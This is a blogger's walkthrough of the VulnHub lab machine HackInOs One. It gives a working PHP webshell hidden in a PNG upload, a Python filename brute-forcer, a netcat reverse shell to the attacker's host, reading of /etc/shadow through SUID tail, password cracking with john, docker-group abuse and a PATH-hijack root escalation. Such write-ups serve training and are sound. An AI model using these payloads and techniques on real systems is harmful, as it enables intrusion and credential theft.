HackInOs One – Writeup

Details

This machine is https://www.vulnhub.com/entry/hackinos-1,295/

Recon Phase

First I located the target on the machine

root@kali:~# nmap -sn 192.168.56.0/24
Nmap scan report for 192.168.56.1
Host is up (0.00022s latency).
MAC Address: 0A:00:27:00:00:00 (Unknown)
Nmap scan report for 192.168.56.100
Host is up (0.00020s latency).
MAC Address: 08:00:27:FD:FE:21 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.102
Host is up (0.00023s latency).
MAC Address: 08:00:27:20:A9:BC (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.101
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 27.80 seconds

From there I carried out a service discovery scan

root@kali:~# nmap -sV -p- 192.168.56.102
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-02 14:47 BST
Nmap scan report for 192.168.56.102
Host is up (0.00012s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
8000/tcp open  http    Apache httpd 2.4.25 ((Debian))
MAC Address: 08:00:27:20:A9:BC (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.63 seconds

Shell Hunting

I first went to the webserver at http://192.168.56.102:8000/

Screenshot 1

A broken wordpress, it expects the url to be http://localhost:8000, I'll add that to my hosts file then

root@kali:~# echo "192.168.56.102 localhost" >> /etc/hosts

Then a refresh led to

Screenshot 2

But there wasn't anything obviously useful. But in robots.txt

Screenshot 3

So onto upload http://localhost:8000/upload.php

Screenshot 4

I says image, but I'll try some php first, I made a file called shell.php which contained

<?php system($_GET['cmd']); ?>

When I uploaded it

Screenshot 5

Then went to http://localhost:8000/uploads/ to see

Screenshot 6

Then tried http://localhost:8000/uploads/shell.php

Screenshot 7

I also uploaded a picture of a cat called cat.jpg but that 404'd too. But back on upload.php in the source

Screenshot 8

Off to https://github.com/fatihhcelik/Vulnerable-Machine---Hint which revealed https://github.com/fatihhcelik/Vulnerable-Machine---Hint/blob/master/upload.php which contained

<!DOCTYPE html>
<html>
<body>
<div align="center">
<form action="" method="post" enctype="multipart/form-data">
    <br>
    <b>Select image : </b>
    <input type="file" name="file" id="file" style="border: solid;">
    <input type="submit" value="Submit" name="submit">
</form>
</div>
<?php
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
    $rand_number = rand(1,100);
    $target_dir = "uploads/";
    $target_file = $target_dir . md5(basename($_FILES["file"]["name"].$rand_number));
    $file_name = $target_dir . basename($_FILES["file"]["name"]);
    $uploadOk = 1;
    $imageFileType = strtolower(pathinfo($file_name,PATHINFO_EXTENSION));
    $type = $_FILES["file"]["type"];
    $check = getimagesize($_FILES["file"]["tmp_name"]);
    if($check["mime"] == "image/png" || $check["mime"] == "image/gif"){
        $uploadOk = 1;
    }else{
        $uploadOk = 0;
        echo ":)";
    }
  if($uploadOk == 1){
      move_uploaded_file($_FILES["file"]["tmp_name"], $target_file.".".$imageFileType);
      echo "File uploaded /uploads/?";
  }
}
?>
</body>
</html>

So it checks the mime but not the file type, so the plan was to make a webshell with a mimetype of image/png then calculate where it was saved to use it. I took a real png file and added the following to the end

<?php system($_GET['cmd']); ?>

Then changed it's extension to .php, the final file name was shed.png

Screenshot 9

From there I had to workout where it was saved, as it was just the md5 of the file name + a random number in a small range the easy solution was to brute force check, so I wrote some python

import requests
import hashlib
print("[+] Searching")
for i in range(1,100):
  name = hashlib.md5('shed.php{}'.format(i).encode()).hexdigest()
  url = 'http://192.168.56.102:8000/uploads/{}.php'.format(name)
  r = requests.get(url)
  if r.status_code == 200:
    print("[+] Found on: {}.php".format(name))

And then ran it

root@kali:~# python3 findFile.py
[+] Searching
[+] Found on: 96bfbb334bdc4dcc3989bedd209a4505.php

Off to http://localhost:8000/uploads/96bfbb334bdc4dcc3989bedd209a4505.php

Screenshot 10

Now open a listener

root@kali:~# nc -nlvp 4444

And triggered it by going to http://localhost:8000/uploads/96bfbb334bdc4dcc3989bedd209a4505.php?cmd=nc 192.168.56.101 4444 -e /bin/bash

connect to [192.168.56.101] from (UNKNOWN) [192.168.56.102] 36930
$

I have a shell!

Root Hunting

$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@1afdd1f6b82c:/var/www/html/uploads$

Now to enumerate, the hostname also stood out as a little weird, but it took me a bit longer to realise why

www-data@1afdd1f6b82c:/var/www/html/uploads$ cd /home
www-data@1afdd1f6b82c:/home$ ls -la
drwxr-xr-x 2 root root 4096 Jan 22 13:47 .
drwxr-xr-x 1 root root 4096 Feb 23 15:12 ..

No users in home

www-data@1afdd1f6b82c:/home$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false

No other users, so now find some SUID binaries

www-data@1afdd1f6b82c:/home$ find / -perm -u=s 2>/dev/null
[SNIP]
/usr/bin/tail
[SNIP]

Tail is SUID which is weird, so I tried to get the hash for the root password by reading /etc/shadow

www-data@1afdd1f6b82c:/home$ tail -20 /etc/shadow
root:$6$qoj6/JJi$FQe/BZlfZV9VX8m0i25Suih5vi1S//OVNpd.PvEVYcL1bWSrF3XTVTF91n60yUuUMUcP65EgT8HfjLyjGHova/:17951:0:99999:7:::
daemon:*:17931:0:99999:7:::
bin:*:17931:0:99999:7:::
sys:*:17931:0:99999:7:::
sync:*:17931:0:99999:7:::
games:*:17931:0:99999:7:::
man:*:17931:0:99999:7:::
lp:*:17931:0:99999:7:::
mail:*:17931:0:99999:7:::
news:*:17931:0:99999:7:::
uucp:*:17931:0:99999:7:::
proxy:*:17931:0:99999:7:::
www-data:*:17931:0:99999:7:::
backup:*:17931:0:99999:7:::
list:*:17931:0:99999:7:::
irc:*:17931:0:99999:7:::
gnats:*:17931:0:99999:7:::
nobody:*:17931:0:99999:7:::
_apt:*:17931:0:99999:7:::

So I made a file called crack.txt with the following contents

root:$6$qoj6/JJi$FQe/BZlfZV9VX8m0i25Suih5vi1S//OVNpd.PvEVYcL1bWSrF3XTVTF91n60yUuUMUcP65EgT8HfjLyjGHova/

From there I ran john on it to crack it

root@kali:~# john crack.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 SSE2 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
john             (root)
1g 0:00:00:02 DONE (2019-04-02 16:21) 0.4166g/s 2880p/s 2880c/s 2880C/s horoscope..better
Use the "--show" option to display all of the cracked passwords reliably
Session completed

so the password is john, time to esc

www-data@1afdd1f6b82c:/home$ su
root@1afdd1f6b82c:/home#

Root, now flag

root@1afdd1f6b82c:/home# cd /root
root@1afdd1f6b82c:~# ls -la
drwx------ 1 root root 4096 Mar  1 18:35 .
drwxr-xr-x 1 root root 4096 Feb 23 15:12 ..
-rw------- 1 root root   57 Mar  1 18:37 .bash_history
-rw-r--r-- 1 root root  570 Jan 31  2010 .bashrc
drwxr-xr-x 2 root root 4096 Feb 24 18:49 .nano
-rw-rw-rw- 1 root root   28 Feb 28 18:47 .port
-rw-r--r-- 1 root root  148 Aug 17  2015 .profile
-rw-r--r-- 1 root root  169 Feb  9 02:43 .wget-hsts
-rw-r--r-- 1 root root   27 Feb 28 22:26 flag
root@1afdd1f6b82c:~# cat flag
Life consists of details..

Looks like a fake flag, and with some of the other weird things in this box, I eventually found a final file which led me to realise what was going on

root@1afdd1f6b82c:/# ls -la
[SNIP]
-rwxr-xr-x   1 root root    0 Feb 23 15:12 .dockerenv
[SNIP]

It seems to be in a docker container

root@1afdd1f6b82c:/# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.18.0.2  netmask 255.255.0.0  broadcast 172.18.255.255
        ether 02:42:ac:12:00:02  txqueuelen 0  (Ethernet)
        RX packets 12570  bytes 3360321 (3.2 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 10209  bytes 2030753 (1.9 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 426  bytes 24114 (23.5 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 426  bytes 24114 (23.5 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

The eth0 seems to support that it's a container, so back to enum looking for any way out

root@1afdd1f6b82c:/# cd /var/www/html
root@1afdd1f6b82c:/var/www/html# ls -la
[SNIP]
-rwxr-xr-x  1 www-data www-data  3154 Apr  2 13:43 wp-config.php
[SNIP]

Looking for details

root@1afdd1f6b82c:/var/www/html# cat wp-config.php
[SNIP]
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');
/** MySQL database username */
define('DB_USER', 'wordpress');
/** MySQL database password */
define('DB_PASSWORD', 'wordpress');
/** MySQL hostname */
define('DB_HOST', 'db:3306');
[SNIP]

So there's a host called

db

and the username and password are

wordpress:wordpress
root@1afdd1f6b82c:/var/www/html# ping db
PING db (172.18.0.3) 56(84) bytes of data.
64 bytes from experimental_db_1.experimental_default (172.18.0.3): icmp_seq=1 ttl=64 time=0.068 ms
64 bytes from experimental_db_1.experimental_default (172.18.0.3): icmp_seq=2 ttl=64 time=0.103 ms
64 bytes from experimental_db_1.experimental_default (172.18.0.3): icmp_seq=3 ttl=64 time=0.103 ms

This leaked dbs IP as 172.18.0.3, so I took a look in it

root@1afdd1f6b82c:/var/www/html# mysql -h 172.18.0.3 -u wordpress -p
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 89
Server version: 5.7.25 MySQL Community Server (GPL)
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [(none)]>

Now to look around

MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| wordpress          |
+--------------------+
2 rows in set (0.00 sec)
MySQL [(none)]> use wordpress;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MySQL [wordpress]> show tables;
+-----------------------+
| Tables_in_wordpress   |
+-----------------------+
| host_ssh_cred         |
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_termmeta           |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
+-----------------------+
13 rows in set (0.00 sec)

A table called host_ssh_cred is weird

MySQL [wordpress]> select * from host_ssh_cred;
+-------------------+----------------------------------+
| id                | pw                               |
+-------------------+----------------------------------+
| hummingbirdscyber | e10adc3949ba59abbe56e057f20f883e |
+-------------------+----------------------------------+
1 row in set (0.00 sec)

Nice a hash

hummingbirdscyber:e10adc3949ba59abbe56e057f20f883e

I put this in a file called crack2.txt and set john on it

root@kali:~# john crack2.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=RAW-MD5
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 SSE2 4x3])
Warning: no OpenMP support for this hash type, consider --fork=12
Press 'q' or Ctrl-C to abort, almost any other key for status
123456           (hummingbirdscyber)
1g 0:00:00:00 DONE (2019-04-02 16:39) 50.00g/s 9600p/s 9600c/s 9600C/s 123456..november
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed

Creds are

hummingbirdscyber:123456

ssh time

root@kali:~# ssh hummingbirdscyber@192.168.56.102
hummingbirdscyber@vulnvm:~$

The hostname being vulnvm was interesting, seems I wasn't in the same container as before

hummingbirdscyber@vulnvm:~$ sudo -l
[sudo] password for hummingbirdscyber:
Sorry, user hummingbirdscyber may not run sudo on vulnvm.
hummingbirdscyber@vulnvm:~$ id
uid=1000(hummingbirdscyber) gid=1000(hummingbirdscyber) groups=1000(hummingbirdscyber),4(adm),24(cdrom),30(dip),46(plugdev),113(lpadmin),128(sambashare),129(docker)

I was in the docker group so I looked for containers

hummingbirdscyber@vulnvm:~$ docker ps
CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                  NAMES
252fa8cb1646        ubuntu              "/bin/bash"              5 weeks ago         Up 2 hours                                 brave_edison
1afdd1f6b82c        wordpress:latest    "docker-entrypoint.s…"   5 weeks ago         Up 2 hours          0.0.0.0:8000->80/tcp   experimental_wordpress_1
81a93420fd22        mysql:5.7           "docker-entrypoint.s…"   5 weeks ago         Up 2 hours          3306/tcp, 33060/tcp    experimental_db_1

So I attached to the ubuntu one

hummingbirdscyber@vulnvm:~$ docker exec -i -t brave_edison /bin/bash
root@252fa8cb1646:/#

And looked around

root@252fa8cb1646:/# cd /root
root@252fa8cb1646:~# ls -la
drwx------  1 root root 4096 Feb 28 20:40 .
drwxr-xr-x  1 root root 4096 Feb 27 19:07 ..
-rw-------  1 root root    0 Mar  1 18:39 .bash_history
-rw-r--r--  1 root root 3106 Apr  9  2018 .bashrc
drwxr-xr-x  3 root root 4096 Feb 27 19:29 .local
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-r--r--  1 root root  165 Feb 27 19:06 .wget-hsts
-rw-r--r--  1 root root    9 Feb 28 20:40 flag
drwxr-xr-x 14 1000 1000 4096 Feb 27 21:44 proftpd-1.3.3c
-rw-r--r--  1 root root   25 Feb 27 19:32 ssh_cred
root@252fa8cb1646:~# cat flag
Wake Up!

Another fake one

root@252fa8cb1646:~# cat ssh_cred
hummingbirdscyber:123456

Just the creds I already have, back to the main machine, looking for SUID

root@kali:~# find / -perm -u=s 2>/dev/null
/home/hummingbirdscyber/Desktop/a.out
[SNIP]

Interesting, take a look

hummingbirdscyber@vulnvm:~$ cd Desktop/
hummingbirdscyber@vulnvm:~/Desktop$ ll
drwxr-xr-x  2 hummingbirdscyber hummingbirdscyber 4096 Mar  1 23:49 ./
drwxr-xr-x 19 hummingbirdscyber hummingbirdscyber 4096 Mar  2 00:40 ../
-rwsr-xr-x  1 root              root              8720 Mar  1 23:25 a.out*

It's a SUID as root, time to look into it

hummingbirdscyber@vulnvm:~/Desktop$ strings a.out
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
system
setgid
__libc_start_main
__gmon_start__
GLIBC_2.2.5
UH-H
AWAVA
AUATL
[]A\A]A^A_
whoami
;*3$"
[SNIP]

It calls set id functions, system and a reference to whoami. So I ran it to check what it did with that

hummingbirdscyber@vulnvm:~/Desktop$ ./a.out
root

So it just calls setuid, and prints whoami before exiting. But the strings show the call to whoami uses $PATH, so I can make it use a different one. First make a fake whoami that just spawns a shell

hummingbirdscyber@vulnvm:~/Desktop$$ echo "/bin/sh" > /tmp/whoami

Make it executable

hummingbirdscyber@vulnvm:~/Desktop$ chmod 777 /tmp/whoami

And add tmp to the front of path

hummingbirdscyber@vulnvm:~/Desktop$ export PATH=/tmp:$PATH

Now I can run the program and it should spawn a shell

hummingbirdscyber@vulnvm:~/Desktop$ ./a.out
#

A new shell!

# cd /root
# ls -la
drwx------  3 root root 4096 Mar  1 23:45 .
drwxr-xr-x 24 root root 4096 Şub 23 13:34 ..
-rw-------  1 root root  331 Mar  1 23:58 .bash_history
-rw-r--r--  1 root root 3106 Eki 22  2015 .bashrc
drwx------  3 root root 4096 Mar  1 22:44 .cache
-rw-r--r--  1 root root 1519 Mar  1 23:41 flag
-rw-r--r--  1 root root  148 Ağu 17  2015 .profile
-rw-r-----  1 root root    5 Nis  2 16:42 .vboxclient-display-svga.pid
-rw-r--r--  1 root root    0 Mar  1 23:46 .wget-hsts

Grab the flag

# cat flag
Congratulations!
                              -ys-
                                /mms.
                                  +NMd+`
                               `/so/hMMNy-
                                 `+mMMMMMMd/           ./oso/-
                                  `/yNMMMMMMMMNo`   .`   +-
                                  .oyhMMMMMMMMMMN/.     o.
                                     `:+osysyhddhs`    `o`
                                     .:oyyhshMMMh.   .:
                                  `-//:. `:sshdh: `
                                             -so:.
                                            .yy.
                                          :odh
                                        +o--d`
                                      /+. .d`
                                    -/`  `y`
                                  `:`   `/
                                 `.     `

This one was real! So I'm done

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.